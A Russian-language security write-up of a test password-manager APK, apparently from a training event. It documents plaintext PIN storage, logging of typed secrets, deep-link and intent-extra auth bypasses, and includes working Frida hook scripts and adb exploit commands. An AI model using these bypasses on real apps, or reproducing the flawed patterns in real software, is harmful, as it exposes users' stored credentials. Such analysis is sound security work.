

Info

Менеджер паролей. APK дан как тестовое в DSEC Summer of Hack 2026.

Основной функционал:

- Использование мастер-пароля для доступа к хранилищу паролей
- Используется быстрый вход (4-digit PIN)
- Создание/редактирование/удаление карточек
- Поля в карточке
 - URL / Website
 - Username / Email
 - Password
- Изменение мастер-пароля
- Изменение PIN
- About page

package_name: ru.chudakov.vibepass

Уязвимости

 VULN1: Insecure Data Storage: SharedPreferences

Файл vibepass.xml хранит информацию о хэше мастер-пароля и PIN plain-text:

```
emu64xa:/data/data/ru.chudakov.vibepass # cat shared_prefs/vibepass.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
  <string name="vault_unlock_code">1234</string>
  <string name="vault_password_hash">ZgSloE9aWcCeVNH3NrPRHs4yeuG9v7tL084Qw/LWhE=</string>
</map>
```

 VULN2: Insecure Logging

Приложение логирует вводимые в полях символы при вводе пин-кода мастер-пароля для разблокировки хранилища:

```

04-21 17:12:20.050 26499 26499 D QuickUnlockActivity: onTextChanged:
04-21 17:12:20.051 26499 26499 D QuickUnlockActivity: unlockButton.isEnabled(): false
04-21 17:12:21.951 26499 26499 D QuickUnlockActivity: onTextChanged: 1
04-21 17:12:21.952 26499 26499 D QuickUnlockActivity: unlockButton.isEnabled(): true
04-21 17:12:22.575 26499 26499 D QuickUnlockActivity: onTextChanged: 12
04-21 17:12:22.576 26499 26499 D QuickUnlockActivity: unlockButton.isEnabled(): true
04-21 17:12:23.190 26499 26499 D QuickUnlockActivity: onTextChanged: 123
04-21 17:12:23.191 26499 26499 D QuickUnlockActivity: unlockButton.isEnabled(): true
04-21 17:12:24.098 26499 26499 D QuickUnlockActivity: onTextChanged: 1234
04-21 17:12:24.098 26499 26499 D QuickUnlockActivity: unlockButton.isEnabled(): true

```

```

04-21 17:20:04.669 26499 26499 D FullUnlockActivity: onTextChanged: p
04-21 17:20:04.988 26499 26499 D FullUnlockActivity: onTextChanged: pa
04-21 17:20:05.227 26499 26499 D FullUnlockActivity: onTextChanged: pas
04-21 17:20:05.438 26499 26499 D FullUnlockActivity: onTextChanged: pass
04-21 17:20:05.689 26499 26499 D FullUnlockActivity: onTextChanged: passw
04-21 17:20:05.953 26499 26499 D FullUnlockActivity: onTextChanged: passwo
04-21 17:20:06.074 26499 26499 D FullUnlockActivity: onTextChanged: passwor
04-21 17:20:06.237 26499 26499 D FullUnlockActivity: onTextChanged: password

```

Уязвимый код:

```

// ru.chudakov.vibepass.QuickUnlockActivity
// ru.chudakov.vibepass.FullUnlockActivity

public void onTextChanged(CharSequence charSequence, int i, int
i2, int i3) {

    QuickUnlockActivity.this.unlockButton.setEnabled(!QuickUnlockActi
vity.this.pinInput.getText().toString().trim().isEmpty());
    QuickUnlockActivity.logger.d(QuickUnlockActivity.TAG,
"onTextChanged: " +
QuickUnlockActivity.this.pinInput.getText().toString());
    QuickUnlockActivity.logger.d(QuickUnlockActivity.TAG,
"unlockButton.isEnabled(): " +
String.valueOf(QuickUnlockActivity.this.unlockButton.isEnabled())
);
    QuickUnlockActivity.this.pinLayout.setError(null);
}

```

VULN3: Auth Bypass

Анализ исходного кода позволил написать и использовать frida-скрипт для обхода аутентификации для разблокировки хранилища.

```

Java.perform(function() {

    var prefix = "[BYPASS-MASTER-PASSWORD] ";

    console.log(prefix + "Script is loaded and ready to work!");

    var VaultPasswordHasher =
Java.use("ru.chudakov.vibepass.VaultPasswordHasher");
    console.log(prefix + "Class found: " + VaultPasswordHasher);

    VaultPasswordHasher.verifyPassword.implementation =
function(str, str2) {
        console.log(prefix + "str : " + str);
        console.log(prefix + "str2 : " + str2);
        console.log(prefix + "verifyPassword return: " +
this.verifyPassword(str, str2));

        // Original response - false
        // return this.verifyPassword(str, str2);

        // Replace response
        console.log(prefix + "returning " +
!this.verifyPassword(str, str2))
        return !this.verifyPassword(str, str2);
    }
});

```

BYPASS QUICKUNLOCKCODE

```

Java.perform(function() {

    var prefix = "[BYPASS-QUICK-UNLOCK-CODE] ";

    console.log(prefix + "Script is loaded and ready to work!");

    var QuickUnlockActivity =
Java.use("ru.chudakov.vibepass.QuickUnlockActivity");

```

```
console.log(prefix + "Class found: " + QuickUnlockActivity);

QuickUnlockActivity["tryUnlock"].implementation = function ()
{

    var Intent = Java.use("android.content.Intent");
    var MainActivity =
Java.use("ru.chudakov.vibepass.MainActivity");

    var intent = Intent.$new(this, MainActivity.class);
    intent.setFlags(268468224);
    intent.putExtra("authSucceeded", true);
    this.startActivity(intent);
    this.finish();

    console.log(prefix + "PIN bypassed!")

    return;
};
});
```

VULN4: Insecure Deep Links

Неправильная логика в обработке deep links позволяет обойти аутентификацию в приложении.

Уязвимый код:

```
ru.chudakov.vibepass.DeepLinkActivity
```

```

private void handleData(Uri uri) {
    VibeLogger vibeLogger = logger;
    String str = TAG;
    vibeLogger.d(str, "Handle deeplink: " + uri.toString());
    1 initPendingActivity(uri);
    2 if (uri.getHost().equals("vault")) {
        vibeLogger.i(str, "Host='vault'");
        vibeLogger.i(str, "Open pending activity after auth");
        если vault startMainActivity(false);
        finish();
        return;
    }
    vibeLogger.i(str, "Host='app'");
    vibeLogger.i(str, "Open pending activity /about");
    если app startMainActivity(true);
    finish();
}

private void startMainActivity(boolean z) {
    Intent intent = new Intent(this, (Class<?>) MainActivity.class);
    intent.setFlags(268468224);
    3 intent.putExtra("authSucceeded", z);
    4 startActivity(intent);
}

```

1. Когда приложение получает на открытие URI, производится сохранение в `shared_prefs` имени activity, которая должна открыться после авторизации.
2. Проверка хоста: если имя хоста = `vault` - выставляется флаг `authSucceed=false`.
Если имя хоста `app` - проверка обходится, присваивается `authSucceeded=true`.
3. Значение `authSucceeded` с присвоенным значением отправляется в `intent`
4. Запускается активити с обновленным `intent`
5. В `MainActivity` флаг `authSucceeded` учитывается при авторизации: если `false` - вызывается либо `startQuickUnlockActivity` (хранилище разблокировано), либо `startFullUnlockActivity` (если хранилище заблокировано).

ru.chudakov.vibepass.MainActivity

```

@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActiv
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    SharedPrefsManager sharedPrefsManager = new SharedPrefsManager(this);
    VaultManager vaultManager = new VaultManager(this);
    5 boolean booleanExtra = getIntent().getBooleanExtra("authSucceeded", false);
    VibeLogger vibeLogger = logger;
    vibeLogger.i(this.TAG, "onCreate()");
    vibeLogger.i(this.TAG, "authSucceeded=" + booleanExtra);
    if (vaultManager.isVaultCreated()) {
        6 if (booleanExtra) {
            if (sharedPrefsManager.hasVaultUnlockCode()) {
                if (sharedPrefsManager.hasPendingActivity()) {
                    startPendingActivity(sharedPrefsManager.getPendingActivity());
                    sharedPrefsManager.setPendingActivity(null);
                } else {
                    startManageVaultActivity();
                }
            } else {
                startSetQuickUnlockPinActivity();
            }
        } else if (vaultManager.isVaultUnlocked()) {
            startQuickUnlockActivity();
        } else {
            startFullUnlockActivity();
        }
        finish();
        return;
    }
    setContentView(R.layout.activity_main);
    initView();
}

```

Исходная идея была в том, чтобы дать авторизацию в приложении всем, кто хочет открыть `AboutAuthorActivity`. Но проблема в том, что выбор того, какая активити будет открыта после авторизации производится до самого решения об авторизации пользователя. К тому же флаг `authSucceeded` выставляется без дополнительных проверок.

Тот что активити, которая будет открыта по итогу - берется из `shared_prefs` - тоже плохая идея, т.к. можно подменить значение в файле.

Риски:

- компрометация конфиденциальных данных (карточки с паролями)
- смена мастер-ключа и PIN-кода для аутентификации в приложении

Пример эксплуатации уязвимости:

```

adb shell am start -a android.intent.action.VIEW -d
"vibepass://app/passwords"

```

```
adb shell am start -a android.intent.action.VIEW -d
"vibepass://app/settings"
```

VULN5: Broken Access Control

Уязвимость позволяет обойти аутентификацию в приложении и получить доступ к хранилищу паролей.

Уязвимый код:

MainActivity

```
protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    SharedPrefsManager sharedPrefsManager = new SharedPrefsManager(this);
    VaultManager vaultManager = new VaultManager(this);
    boolean booleanExtra = getIntent().getBooleanExtra("authSucceeded", false);
    VibeLogger vibeLogger = logger;
    vibeLogger.i(this.TAG, "onCreate()");
    vibeLogger.i(this.TAG, "authSucceeded=" + booleanExtra);
    if (vaultManager.isVaultCreated()) {
        if (booleanExtra) {
            if (sharedPrefsManager.hasVaultUnlockCode()) {
                if (sharedPrefsManager.hasPendingActivity()) {
                    startPendingActivity(sharedPrefsManager.getPendingActivity());
                    sharedPrefsManager.setPendingActivity(null);
                } else {
                    startManageVaultActivity();
                }
            } else {
                startSetQuickUnlockPinActivity();
            }
        } else if (vaultManager.isVaultUnlocked()) {
            startQuickUnlockActivity();
        } else {
            startFullUnlockActivity();
        }
        finish();
        return;
    }
    setContentView(R.layout.activity_main);
    initView();
}
```

При запуске активности производится авторизация пользователя. Эта авторизация проверяется по параметру `authSucceeded`, значение которого хранится в `intent`, который вызывает текущую активность. Отсутствие проверки вызывающего `intent` и возможность изменения значения параметра `authSucceeded` в этом `intent` - позволяют обойти аутентификацию путем подмены этого самого значения при вызове активности.

Риски:

- Захват контроля над хранилищем паролей

Пример эксплуатации:

```
adb shell am start -n ru.chudakov.vibepass/.MainActivity --ez  
authSucceeded true
```